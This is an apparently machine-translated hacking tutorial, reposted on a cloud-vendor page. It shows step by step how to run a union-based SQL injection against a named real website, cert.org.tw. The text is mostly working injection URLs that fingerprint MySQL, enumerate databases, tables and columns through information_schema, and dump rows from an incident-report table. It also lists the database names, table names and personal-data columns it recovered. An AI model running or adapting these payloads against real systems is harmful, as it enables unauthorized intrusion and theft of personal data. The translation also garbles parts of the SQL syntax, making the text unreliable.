Php + mysql advanced brute-force database

Source: Internet
Author: User


1. Determine version http://www.cert.org.tw/document/advisory/detail.php? Id = 7 and ord (mid (version (), 4.0)> 51 returns normal, meaning it is later than version and supports ounion Query
2. to guess the number of fields, you can use order by or union select to guess the number of fields one by one.
Http://www.cert.org.tw/document/advisory/detail.php? Id = 7 and 2 = 4 union select 1, 2, 4, 5, 6, 7, 8, 9 --
3. view database version and current user, http://www.cert.org.tw/document/advisory/detail.php? Id = 7 and 2 = 4 union select 1, user (), version (), 4, 5, 6, 7, 8, 9 --
Database Version 5.1.35. It is said that MySQL and later versions support the concat function. I do not know whether it is true or false. It is to be verified by the cool.
4. Check whether you have the write permission.
Http://www.cert.org.tw/document/advisory/detail.php? Id = 7 and (select count (*) from MySQL. user)> 0 -- Return Error, no write permission
No way. You can guess the table manually.

5. Check the database. Previously, union select 1, 2, 3, SCHEMA_NAME, 5, 6, n from information_schema.SCHEMATA limit 0, 1 was used.
However, this is a bit disappointing. If you cannot use this command, you will learn the Turkish hacker's hand method.
Http://www.cert.org.tw/document... union + select + concat (0x5B78786F6F5D, GROUP_CONCAT (DISTINCT + table_schema), 0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3, -3 + from + information_schema.columns --
Foreign hackers are not average when detecting all databases. The database is as follows:
Information_schema, Advisory, IR, mad, member, mysql, twcert, vuldb, vulscandb
6. burst the table. The twcert library is exploding.
Http://www.cert.org.tw/document... union + select + concat (0x5B78786F6F5D, GROUP_CONCAT (DISTINCT + table_name), 0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3, -3 + from + information_schema.columns + where + table_schema = 0x747763657274 --
Output the following table:
Downloadfile, irsys, newsdata, secrpt, secrpt_big5

7. Name of the column burst. This time the irsys table is exploding.
Http://www.cert.org.tw/document... union + select + concat (0x5B78786F6F5D, GROUP_CONCAT (DISTINCT + column_name), 0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3, -3 + from + information_schema.columns + where + table_name = 0x6972721373 --
Such as the following
Ir_id, name, company, email, tel, pubdate, rptdep, eventtype, eventdesc, machineinfo, procflow, memo, filename, cmdype, status
8. query the number of fields. In this step, few hackers in China use limit N and 1 to query the number of fields, and N to report an error.
Http://www.cert.org.tw/document... union + select + concat (0x5B78786F6F5D, CONCAT (count (*), 0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3,-3, -3 + from + twcert. irsys --
The return value is 3, indicating that each column has three locations.
9. Burst field content
Http://www.cert.org.tw/document... union + select + concat (0x5B78786F6F5D, name, 0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3, -3 + from + twcert. irsys + LIMIT + 0, 1 --
The content of the first field in the name column is exposed.
Http://www.cert.org.tw/document... union + select + concat (0x5B78786F6F5D, name, 0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3, -3 + from + twcert. irsys + LIMIT + 1, 1 --
The content of the Second Field in the name column is exposed.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.